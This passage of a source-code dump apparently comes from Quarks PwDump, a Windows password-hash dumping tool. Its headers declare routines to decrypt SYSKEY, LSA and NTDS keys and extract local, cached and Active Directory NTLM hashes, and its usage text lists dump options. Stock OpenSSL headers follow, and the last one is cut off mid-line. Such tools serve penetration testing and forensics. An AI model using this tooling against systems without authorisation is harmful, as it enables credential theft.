dwMajorVersion; /* OS identification */ 71 | }s_NLKM; 72 | typedef struct{ 73 | BYTE key[84]; /* XP, 2003 only */ 74 | BYTE key_v2[156]; /* Vista, 7, 2008 only */ 75 | 76 | DWORD dwMajorVersion; /* OS identification */ 77 | }s_NLKM_ciphered; 78 | #pragma pack(pop) 79 | 80 | 81 | /* Classical windows keys retrieving (all stored in registry) 82 | * SYSKEY could be dumped directly from registry by any standard users 83 | * BOOTKEY, LSAKEY and NLKM must be extracted ciphered from SAM 84 | * and SECURITY hives before (need LocalSystem privs) => see samparser.cpp 85 | * 86 | * LSAKEY & NLKM are used for domain cached passwords only 87 | * BOOTKEY is used for local account only 88 | * SYSKEY is used a bit everywhere :) 89 | */ 90 | int CRYPT_SyskeyGetValue(s_SYSKEY *pSyskey); 91 | int CRYPT_BootkeyGetValue(s_BOOTKEY_ciphered *bootkey_ciphered,s_BOOTKEY *bootkey); 92 | int CRYPT_LsakeyGetValue(s_LSAKEY *lsakey,s_LSAKEY_ciphered *lsakey_ciphered,s_SYSKEY *syskey); 93 | int CRYPT_NlkmGetValue(s_NLKM *nlkm,s_NLKM_ciphered *nlkm_ciphered,s_LSAKEY *lsakey); 94 | 95 | 96 | /* PEK is used for NTDS (ActiveDirectory) NTLM hashes storage */ 97 | BOOL CRYPT_Decipher_PEK(s_NTLM_pek_ciphered *pek_ciphered,s_SYSKEY *syskey,s_NTLM_pek *pek); 98 | 99 | 100 | /* Classical windows keys dump to text */ 101 | void SYSKEY_Dump(s_SYSKEY *syskey); 102 | void BOOTKEY_Dump(s_BOOTKEY *bootkey); 103 | void LSAKEY_Dump(s_LSAKEY *bootkey); 104 | void NLKM_Dump(s_NLKM *nlkm); 105 | 106 | 107 | /* Account decipering funcs : local, cached and NTDS + history */ 108 | BOOL CRYPT_NTDS_DecipherAllAccount(ll_ldapAccountInfo ldapAccountInfo,s_SYSKEY *syskey,s_NTLM_pek *pek); 109 | BOOL CRYPT_SAM_DecipherAllLocalAccount(ll_localAccountInfo localAccountInfo,s_BOOTKEY *bootkey); 110 | int CRYPT_SAM_DecipherAllCachedAccount(ll_cachedAccountInfo cachedAccountInfo,s_NLKM *nlkm); 111 | 112 | 113 | 114 | -------------------------------------------------------------------------------- /src/globals.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "common.h" 4 | #include "crypt.h" 5 | 6 | static TCHAR APP_TITLE[] = "Quarks PwDump"; 7 | 8 | static TCHAR APP_BANNER[10*91] = { 9 | "________ __ __________ ________ \r\n" 10 | "\\_____ \\ __ __ _____ _______ | | __ ______\\______ \\__ _ __\\______ \\ __ __ _____ ______ \r\n" 11 | " / / \\ \\ | | \\\\__ \\ \\_ __ \\| |/ / / ___/ | ___/\\ \\/ \\/ / | | \\ | | \\ / \\ \\____ \\ \r\n" 12 | "/ \\_/. \\| | / / __ \\_| | \\/| < \\___ \\ | | \\ / | ` \\| | /| Y Y \\| |_> > \r\n" 13 | "\\_____\\ \\_/|____/ (____ /|__| |__|_ \\/____ > |____| \\/\\_/ /_______ /|____/ |__|_| /| __/ \r\n" 14 | " \\__> \\/ \\/ \\/ \\/ \\/ |__| \r\n" 15 | " v0.2b -<(QuarksLab)>-\r\n" 16 | }; 17 | 18 | static TCHAR APP_USAGE[10*100] = { 19 | "quarks-pwdump.exe \r\n" 20 | "Options : \r\n" 21 | "-dhl --dump-hash-local\r\n" 22 | "-dhdc --dump-hash-domain-cached\r\n" 23 | "-dhd --dump-hash-domain (NTDS_FILE must be specified)\r\n" 24 | "-db --dump-bitlocker (NTDS_FILE must be specified)\r\n" 25 | "-nt --ntds-file FILE\r\n" 26 | "-hist --with-history (optional)\r\n" 27 | "-t --output-type JOHN/LC (optional, if no=>JOHN)\r\n" 28 | "-o --output FILE (optional, if no=>stdout)\r\n" 29 | "\r\nExample: quarks-pwdump.exe --dump-hash-domain --with-history\r\n" 30 | }; 31 | 32 | /* CLI option */ 33 | static BOOL OPT_DUMP_HASH_LOCAL = FALSE; 34 | static BOOL OPT_DUMP_HASH_DOMAIN_CACHED = FALSE; 35 | static BOOL OPT_DUMP_HASH_DOMAIN = FALSE; 36 | static BOOL OPT_DUMP_BITLOCKER = FALSE; 37 | static BOOL OPT_WITH_HISTORY = FALSE; 38 | static BOOL OPT_OUT_STDOUT = TRUE; 39 | static TCHAR OPT_OUTPUT_FILENAME[MAX_PATH+1]; 40 | static TCHAR OPT_NTDS_FILENAME[MAX_PATH+1]; 41 | static NT_DUMP_TYPE OPT_NT_DUMP_TYPE = NTDUMP_JOHN; 42 | 43 | /* Account and crypto struct */ 44 | static ll_ldapAccountInfo ldapAccountDatabase = NULL; 45 | static ll_localAccountInfo localAccountDatabase = NULL; 46 | static ll_cachedAccountInfo cachedAccountDatabase = NULL; 47 | static ll_bitlockerAccountInfo bitlockerAccountDatabase = NULL; 48 | static s_NTLM_pek_ciphered PEK_ciphered; 49 | static s_NTLM_pek PEK; 50 | static s_SYSKEY SYSKEY; 51 | static s_BOOTKEY_ciphered BOOTKEY_ciphered; 52 | static s_BOOTKEY BOOTKEY; 53 | static s_LSAKEY_ciphered LSAKEY_ciphered; 54 | static s_LSAKEY LSAKEY; 55 | static s_NLKM_ciphered NLKM_ciphered; 56 | static s_NLKM NLKM; 57 | 58 | /* Jet instance unique string */ 59 | static JET_PCSTR APP_JET_INSTANCE_STR = "QUARKS-K0DE"; 60 | -------------------------------------------------------------------------------- /src/include/openssl/aes.h: -------------------------------------------------------------------------------- 1 | /* crypto/aes/aes.h -*- mode:C; c-file-style: "eay" -*- */ 2 | /* ==================================================================== 3 | * Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 12 | * 2. Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in 14 | * the documentation and/or other materials provided with the 15 | * distribution. 16 | * 17 | * 3. All advertising materials mentioning features or use of this 18 | * software must display the following acknowledgment: 19 | * "This product includes software developed by the OpenSSL Project 20 | * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" 21 | * 22 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 23 | * endorse or promote products derived from this software without 24 | * prior written permission. For written permission, please contact 25 | * openssl-core@openssl.org. 26 | * 27 | * 5. Products derived from this software may not be called "OpenSSL" 28 | * nor may "OpenSSL" appear in their names without prior written 29 | * permission of the OpenSSL Project. 30 | * 31 | * 6. Redistributions of any form whatsoever must retain the following 32 | * acknowledgment: 33 | * "This product includes software developed by the OpenSSL Project 34 | * for use in the OpenSSL Toolkit (http://www.openssl.org/)" 35 | * 36 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 37 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 38 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 39 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 40 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 41 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 42 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 43 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 44 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 45 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 46 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 47 | * OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * ==================================================================== 49 | * 50 | */ 51 | 52 | #ifndef HEADER_AES_H 53 | #define HEADER_AES_H 54 | 55 | #include 56 | 57 | #ifdef OPENSSL_NO_AES 58 | #error AES is disabled. 59 | #endif 60 | 61 | #include 62 | 63 | #define AES_ENCRYPT 1 64 | #define AES_DECRYPT 0 65 | 66 | /* Because array size can't be a const in C, the following two are macros. 67 | Both sizes are in bytes. */ 68 | #define AES_MAXNR 14 69 | #define AES_BLOCK_SIZE 16 70 | 71 | #ifdef __cplusplus 72 | extern "C" { 73 | #endif 74 | 75 | /* This should be a hidden type, but EVP requires that the size be known */ 76 | struct aes_key_st { 77 | #ifdef AES_LONG 78 | unsigned long rd_key[4 *(AES_MAXNR + 1)]; 79 | #else 80 | unsigned int rd_key[4 *(AES_MAXNR + 1)]; 81 | #endif 82 | int rounds; 83 | }; 84 | typedef struct aes_key_st AES_KEY; 85 | 86 | const char *AES_options(void); 87 | 88 | int AES_set_encrypt_key(const unsigned char *userKey, const int bits, 89 | AES_KEY *key); 90 | int AES_set_decrypt_key(const unsigned char *userKey, const int bits, 91 | AES_KEY *key); 92 | 93 | int private_AES_set_encrypt_key(const unsigned char *userKey, const int bits, 94 | AES_KEY *key); 95 | int private_AES_set_decrypt_key(const unsigned char *userKey, const int bits, 96 | AES_KEY *key); 97 | 98 | void AES_encrypt(const unsigned char *in, unsigned char *out, 99 | const AES_KEY *key); 100 | void AES_decrypt(const unsigned char *in, unsigned char *out, 101 | const AES_KEY *key); 102 | 103 | void AES_ecb_encrypt(const unsigned char *in, unsigned char *out, 104 | const AES_KEY *key, const int enc); 105 | void AES_cbc_encrypt(const unsigned char *in, unsigned char *out, 106 | size_t length, const AES_KEY *key, 107 | unsigned char *ivec, const int enc); 108 | void AES_cfb128_encrypt(const unsigned char *in, unsigned char *out, 109 | size_t length, const AES_KEY *key, 110 | unsigned char *ivec, int *num, const int enc); 111 | void AES_cfb1_encrypt(const unsigned char *in, unsigned char *out, 112 | size_t length, const AES_KEY *key, 113 | unsigned char *ivec, int *num, const int enc); 114 | void AES_cfb8_encrypt(const unsigned char *in, unsigned char *out, 115 | size_t length, const AES_KEY *key, 116 | unsigned char *ivec, int *num, const int enc); 117 | void AES_ofb128_encrypt(const unsigned char *in, unsigned char *out, 118 | size_t length, const AES_KEY *key, 119 | unsigned char *ivec, int *num); 120 | void AES_ctr128_encrypt(const unsigned char *in, unsigned char *out, 121 | size_t length, const AES_KEY *key, 122 | unsigned char ivec[AES_BLOCK_SIZE], 123 | unsigned char ecount_buf[AES_BLOCK_SIZE], 124 | unsigned int *num); 125 | /* NB: the IV is _two_ blocks long */ 126 | void AES_ige_encrypt(const unsigned char *in, unsigned char *out, 127 | size_t length, const AES_KEY *key, 128 | unsigned char *ivec, const int enc); 129 | /* NB: the IV is _four_ blocks long */ 130 | void AES_bi_ige_encrypt(const unsigned char *in, unsigned char *out, 131 | size_t length, const AES_KEY *key, 132 | const AES_KEY *key2, const unsigned char *ivec, 133 | const int enc); 134 | 135 | int AES_wrap_key(AES_KEY *key, const unsigned char *iv, 136 | unsigned char *out, 137 | const unsigned char *in, unsigned int inlen); 138 | int AES_unwrap_key(AES_KEY *key, const unsigned char *iv, 139 | unsigned char *out, 140 | const unsigned char *in, unsigned int inlen); 141 | 142 | 143 | #ifdef __cplusplus 144 | } 145 | #endif 146 | 147 | #endif /* !HEADER_AES_H */ 148 | -------------------------------------------------------------------------------- /src/include/openssl/des.h: -------------------------------------------------------------------------------- 1 | /* crypto/des/des.h */ 2 | /* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_NEW_DES_H 60 | #define HEADER_NEW_DES_H 61 | 62 | #include /* OPENSSL_EXTERN, OPENSSL_NO_DES, 63 | DES_LONG (via openssl/opensslconf.h */ 64 | 65 | #ifdef OPENSSL_NO_DES 66 | #error DES is disabled. 67 | #endif 68 | 69 | #ifdef OPENSSL_BUILD_SHLIBCRYPTO 70 | # undef OPENSSL_EXTERN 71 | # define OPENSSL_EXTERN OPENSSL_EXPORT 72 | #endif 73 | 74 | #ifdef __cplusplus 75 | extern "C" { 76 | #endif 77 | 78 | typedef unsigned char DES_cblock[8]; 79 | typedef /* const */ unsigned char const_DES_cblock[8]; 80 | /* With "const", gcc 2.8.1 on Solaris thinks that DES_cblock * 81 | * and const_DES_cblock * are incompatible pointer types. */ 82 | 83 | typedef struct DES_ks 84 | { 85 | union 86 | { 87 | DES_cblock cblock; 88 | /* make sure things are correct size on machines with 89 | * 8 byte longs */ 90 | DES_LONG deslong[2]; 91 | } ks[16]; 92 | } DES_key_schedule; 93 | 94 | #ifndef OPENSSL_DISABLE_OLD_DES_SUPPORT 95 | # ifndef OPENSSL_ENABLE_OLD_DES_SUPPORT 96 | # define OPENSSL_ENABLE_OLD_DES_SUPPORT 97 | # endif 98 | #endif 99 | 100 | #ifdef OPENSSL_ENABLE_OLD_DES_SUPPORT 101 | # include 102 | #endif 103 | 104 | #define DES_KEY_SZ (sizeof(DES_cblock)) 105 | #define DES_SCHEDULE_SZ (sizeof(DES_key_schedule)) 106 | 107 | #define DES_ENCRYPT 1 108 | #define DES_DECRYPT 0 109 | 110 | #define DES_CBC_MODE 0 111 | #define DES_PCBC_MODE 1 112 | 113 | #define DES_ecb2_encrypt(i,o,k1,k2,e) \ 114 | DES_ecb3_encrypt((i),(o),(k1),(k2),(k1),(e)) 115 | 116 | #define DES_ede2_cbc_encrypt(i,o,l,k1,k2,iv,e) \ 117 | DES_ede3_cbc_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(e)) 118 | 119 | #define DES_ede2_cfb64_encrypt(i,o,l,k1,k2,iv,n,e) \ 120 | DES_ede3_cfb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n),(e)) 121 | 122 | #define DES_ede2_ofb64_encrypt(i,o,l,k1,k2,iv,n) \ 123 | DES_ede3_ofb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n)) 124 | 125 | OPENSSL_DECLARE_GLOBAL(int,DES_check_key); /* defaults to false */ 126 | #define DES_check_key OPENSSL_GLOBAL_REF(DES_check_key) 127 | OPENSSL_DECLARE_GLOBAL(int,DES_rw_mode); /* defaults to DES_PCBC_MODE */ 128 | #define DES_rw_mode OPENSSL_GLOBAL_REF(DES_rw_mode) 129 | 130 | const char *DES_options(void); 131 | void DES_ecb3_encrypt(const_DES_cblock *input, DES_cblock *output, 132 | DES_key_schedule *ks1,DES_key_schedule *ks2, 133 | DES_key_schedule *ks3, int enc); 134 | DES_LONG DES_cbc_cksum(const unsigned char *input,DES_cblock *output, 135 | long length,DES_key_schedule *schedule, 136 | const_DES_cblock *ivec); 137 | /* DES_cbc_encrypt does not update the IV! Use DES_ncbc_encrypt instead. */ 138 | void DES_cbc_encrypt(const unsigned char *input,unsigned char *output, 139 | long length,DES_key_schedule *schedule,DES_cblock *ivec, 140 | int enc); 141 | void DES_ncbc_encrypt(const unsigned char *input,unsigned char *output, 142 | long length,DES_key_schedule *schedule,DES_cblock *ivec, 143 | int enc); 144 | void DES_xcbc_encrypt(const unsigned char *input,unsigned char *output, 145 | long length,DES_key_schedule *schedule,DES_cblock *ivec, 146 | const_DES_cblock *inw,const_DES_cblock *outw,int enc); 147 | void DES_cfb_encrypt(const unsigned char *in,unsigned char *out,int numbits, 148 | long length,DES_key_schedule *schedule,DES_cblock *ivec, 149 | int enc); 150 | void DES_ecb_encrypt(const_DES_cblock *input,DES_cblock *output, 151 | DES_key_schedule *ks,int enc); 152 | 153 | /* This is the DES encryption function that gets called by just about 154 | every other DES routine in the library. You should not use this 155 | function except to implement 'modes' of DES. I say this because the 156 | functions that call this routine do the conversion from 'char *' to 157 | long, and this needs to be done to make sure 'non-aligned' memory 158 | access do not occur. The characters are loaded 'little endian'. 159 | Data is a pointer to 2 unsigned long's and ks is the 160 | DES_key_schedule to use. enc, is non zero specifies encryption, 161 | zero if decryption. */ 162 | void DES_encrypt1(DES_LONG *data,DES_key_schedule *ks, int enc); 163 | 164 | /* This functions is the same as DES_encrypt1() except that the DES 165 | initial permutation (IP) and final permutation (FP) have been left 166 | out. As for DES_encrypt1(), you should not use this function. 167 | It is used by the routines in the library that implement triple DES. 168 | IP() DES_encrypt2() DES_encrypt2() DES_encrypt2() FP() is the same 169 | as DES_encrypt1() DES_encrypt1() DES_encrypt1() except faster :-). */ 170 | void DES_encrypt2(DES_LONG *data,DES_key_schedule *ks, int enc); 171 | 172 | void DES_encrypt3(DES_LONG *data, DES_key_schedule *ks1, 173 | DES_key_schedule *ks2, DES_key_schedule *ks3); 174 | void DES_decrypt3(DES_LONG *data, DES_key_schedule *ks1, 175 | DES_key_schedule *ks2, DES_key_schedule *ks3); 176 | void DES_ede3_cbc_encrypt(const unsigned char *input,unsigned char *output, 177 | long length, 178 | DES_key_schedule *ks1,DES_key_schedule *ks2, 179 | DES_key_schedule *ks3,DES_cblock *ivec,int enc); 180 | void DES_ede3_cbcm_encrypt(const unsigned char *in,unsigned char *out, 181 | long length, 182 | DES_key_schedule *ks1,DES_key_schedule *ks2, 183 | DES_key_schedule *ks3, 184 | DES_cblock *ivec1,DES_cblock *ivec2, 185 | int enc); 186 | void DES_ede3_cfb64_encrypt(const unsigned char *in,unsigned char *out, 187 | long length,DES_key_schedule *ks1, 188 | DES_key_schedule *ks2,DES_key_schedule *ks3, 189 | DES_cblock *ivec,int *num,int enc); 190 | void DES_ede3_cfb_encrypt(const unsigned char *in,unsigned char *out, 191 | int numbits,long length,DES_key_schedule *ks1, 192 | DES_key_schedule *ks2,DES_key_schedule *ks3, 193 | DES_cblock *ivec,int enc); 194 | void DES_ede3_ofb64_encrypt(const unsigned char *in,unsigned char *out, 195 | long length,DES_key_schedule *ks1, 196 | DES_key_schedule *ks2,DES_key_schedule *ks3, 197 | DES_cblock *ivec,int *num); 198 | #if 0 199 | void DES_xwhite_in2out(const_DES_cblock *DES_key,const_DES_cblock *in_white, 200 | DES_cblock *out_white); 201 | #endif 202 | 203 | int DES_enc_read(int fd,void *buf,int len,DES_key_schedule *sched, 204 | DES_cblock *iv); 205 | int DES_enc_write(int fd,const void *buf,int len,DES_key_schedule *sched, 206 | DES_cblock *iv); 207 | char *DES_fcrypt(const char *buf,const char *salt, char *ret); 208 | char *DES_crypt(const char *buf,const char *salt); 209 | void DES_ofb_encrypt(const unsigned char *in,unsigned char *out,int numbits, 210 | long length,DES_key_schedule *schedule,DES_cblock *ivec); 211 | void DES_pcbc_encrypt(const unsigned char *input,unsigned char *output, 212 | long length,DES_key_schedule *schedule,DES_cblock *ivec, 213 | int enc); 214 | DES_LONG DES_quad_cksum(const unsigned char *input,DES_cblock output[], 215 | long length,int out_count,DES_cblock *seed); 216 | int DES_random_key(DES_cblock *ret); 217 | void DES_set_odd_parity(DES_cblock *key); 218 | int DES_check_key_parity(const_DES_cblock *key); 219 | int DES_is_weak_key(const_DES_cblock *key); 220 | /* DES_set_key (= set_key = DES_key_sched = key_sched) calls 221 | * DES_set_key_checked if global variable DES_check_key is set, 222 | * DES_set_key_unchecked otherwise. */ 223 | int DES_set_key(const_DES_cblock *key,DES_key_schedule *schedule); 224 | int DES_key_sched(const_DES_cblock *key,DES_key_schedule *schedule); 225 | int DES_set_key_checked(const_DES_cblock *key,DES_key_schedule *schedule); 226 | void DES_set_key_unchecked(const_DES_cblock *key,DES_key_schedule *schedule); 227 | #ifdef OPENSSL_FIPS 228 | void private_DES_set_key_unchecked(const_DES_cblock *key,DES_key_schedule *schedule); 229 | #endif 230 | void DES_string_to_key(const char *str,DES_cblock *key); 231 | void DES_string_to_2keys(const char *str,DES_cblock *key1,DES_cblock *key2); 232 | void DES_cfb64_encrypt(const unsigned char *in,unsigned char *out,long length, 233 | DES_key_schedule *schedule,DES_cblock *ivec,int *num, 234 | int enc); 235 | void DES_ofb64_encrypt(const unsigned char *in,unsigned char *out,long length, 236 | DES_key_schedule *schedule,DES_cblock *ivec,int *num); 237 | 238 | int DES_read_password(DES_cblock *key, const char *prompt, int verify); 239 | int DES_read_2passwords(DES_cblock *key1, DES_cblock *key2, const char *prompt, 240 | int verify); 241 | 242 | #define DES_fixup_key_parity DES_set_odd_parity 243 | 244 | #ifdef __cplusplus 245 | } 246 | #endif 247 | 248 | #endif 249 | -------------------------------------------------------------------------------- /src/include/openssl/des_old.h: -------------------------------------------------------------------------------- 1 | /* crypto/des/des_old.h -*- mode:C; c-file-style: "eay" -*- */ 2 | 3 | /* WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING 4 | * 5 | * The function names in here are deprecated and are only present to 6 | * provide an interface compatible with openssl 0.9.6 and older as 7 | * well as libdes. OpenSSL now provides functions where "des_" has 8 | * been replaced with "DES_" in the names, to make it possible to 9 | * make incompatible changes that are needed for C type security and 10 | * other stuff. 11 | * 12 | * This include files has two compatibility modes: 13 | * 14 | * - If OPENSSL_DES_LIBDES_COMPATIBILITY is defined, you get an API 15 | * that is compatible with libdes and SSLeay. 16 | * - If OPENSSL_DES_LIBDES_COMPATIBILITY isn't defined, you get an 17 | * API that is compatible with OpenSSL 0.9.5x to 0.9.6x. 18 | * 19 | * Note that these modes break earlier snapshots of OpenSSL, where 20 | * libdes compatibility was the only available mode or (later on) the 21 | * prefered compatibility mode. However, after much consideration 22 | * (and more or less violent discussions with external parties), it 23 | * was concluded that OpenSSL should be compatible with earlier versions 24 | * of itself before anything else. Also, in all honesty, libdes is 25 | * an old beast that shouldn't really be used any more. 26 | * 27 | * Please consider starting to use the DES_ functions rather than the 28 | * des_ ones. The des_ functions will disappear completely before 29 | * OpenSSL 1.0! 30 | * 31 | * WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING 32 | */ 33 | 34 | /* Written by Richard Levitte (richard@levitte.org) for the OpenSSL 35 | * project 2001. 36 | */ 37 | /* ==================================================================== 38 | * Copyright (c) 1998-2002 The OpenSSL Project. All rights reserved. 39 | * 40 | * Redistribution and use in source and binary forms, with or without 41 | * modification, are permitted provided that the following conditions 42 | * are met: 43 | * 44 | * 1. Redistributions of source code must retain the above copyright 45 | * notice, this list of conditions and the following disclaimer. 46 | * 47 | * 2. Redistributions in binary form must reproduce the above copyright 48 | * notice, this list of conditions and the following disclaimer in 49 | * the documentation and/or other materials provided with the 50 | * distribution. 51 | * 52 | * 3. All advertising materials mentioning features or use of this 53 | * software must display the following acknowledgment: 54 | * "This product includes software developed by the OpenSSL Project 55 | * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" 56 | * 57 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 58 | * endorse or promote products derived from this software without 59 | * prior written permission. For written permission, please contact 60 | * openssl-core@openssl.org. 61 | * 62 | * 5. Products derived from this software may not be called "OpenSSL" 63 | * nor may "OpenSSL" appear in their names without prior written 64 | * permission of the OpenSSL Project. 65 | * 66 | * 6. Redistributions of any form whatsoever must retain the following 67 | * acknowledgment: 68 | * "This product includes software developed by the OpenSSL Project 69 | * for use in the OpenSSL Toolkit (http://www.openssl.org/)" 70 | * 71 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 72 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 73 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 74 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 75 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 76 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 77 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 78 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 79 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 80 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 81 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 82 | * OF THE POSSIBILITY OF SUCH DAMAGE. 83 | * ==================================================================== 84 | * 85 | * This product includes cryptographic software written by Eric Young 86 | * (eay@cryptsoft.com). This product includes software written by Tim 87 | * Hudson (tjh@cryptsoft.com). 88 | * 89 | */ 90 | 91 | #ifndef HEADER_DES_H 92 | #define HEADER_DES_H 93 | 94 | #include /* OPENSSL_EXTERN, OPENSSL_NO_DES, DES_LONG */ 95 | 96 | #ifdef OPENSSL_NO_DES 97 | #error DES is disabled. 98 | #endif 99 | 100 | #ifndef HEADER_NEW_DES_H 101 | #error You must include des.h, not des_old.h directly. 102 | #endif 103 | 104 | #ifdef _KERBEROS_DES_H 105 | #error replaces . 106 | #endif 107 | 108 | #include 109 | 110 | #ifdef OPENSSL_BUILD_SHLIBCRYPTO 111 | # undef OPENSSL_EXTERN 112 | # define OPENSSL_EXTERN OPENSSL_EXPORT 113 | #endif 114 | 115 | #ifdef __cplusplus 116 | extern "C" { 117 | #endif 118 | 119 | #ifdef _ 120 | #undef _ 121 | #endif 122 | 123 | typedef unsigned char _ossl_old_des_cblock[8]; 124 | typedef struct _ossl_old_des_ks_struct 125 | { 126 | union { 127 | _ossl_old_des_cblock _; 128 | /* make sure things are correct size on machines with 129 | * 8 byte longs */ 130 | DES_LONG pad[2]; 131 | } ks; 132 | } _ossl_old_des_key_schedule[16]; 133 | 134 | #ifndef OPENSSL_DES_LIBDES_COMPATIBILITY 135 | #define des_cblock DES_cblock 136 | #define const_des_cblock const_DES_cblock 137 | #define des_key_schedule DES_key_schedule 138 | #define des_ecb3_encrypt(i,o,k1,k2,k3,e)\ 139 | DES_ecb3_encrypt((i),(o),&(k1),&(k2),&(k3),(e)) 140 | #define des_ede3_cbc_encrypt(i,o,l,k1,k2,k3,iv,e)\ 141 | DES_ede3_cbc_encrypt((i),(o),(l),&(k1),&(k2),&(k3),(iv),(e)) 142 | #define des_ede3_cbcm_encrypt(i,o,l,k1,k2,k3,iv1,iv2,e)\ 143 | DES_ede3_cbcm_encrypt((i),(o),(l),&(k1),&(k2),&(k3),(iv1),(iv2),(e)) 144 | #define des_ede3_cfb64_encrypt(i,o,l,k1,k2,k3,iv,n,e)\ 145 | DES_ede3_cfb64_encrypt((i),(o),(l),&(k1),&(k2),&(k3),(iv),(n),(e)) 146 | #define des_ede3_ofb64_encrypt(i,o,l,k1,k2,k3,iv,n)\ 147 | DES_ede3_ofb64_encrypt((i),(o),(l),&(k1),&(k2),&(k3),(iv),(n)) 148 | #define des_options()\ 149 | DES_options() 150 | #define des_cbc_cksum(i,o,l,k,iv)\ 151 | DES_cbc_cksum((i),(o),(l),&(k),(iv)) 152 | #define des_cbc_encrypt(i,o,l,k,iv,e)\ 153 | DES_cbc_encrypt((i),(o),(l),&(k),(iv),(e)) 154 | #define 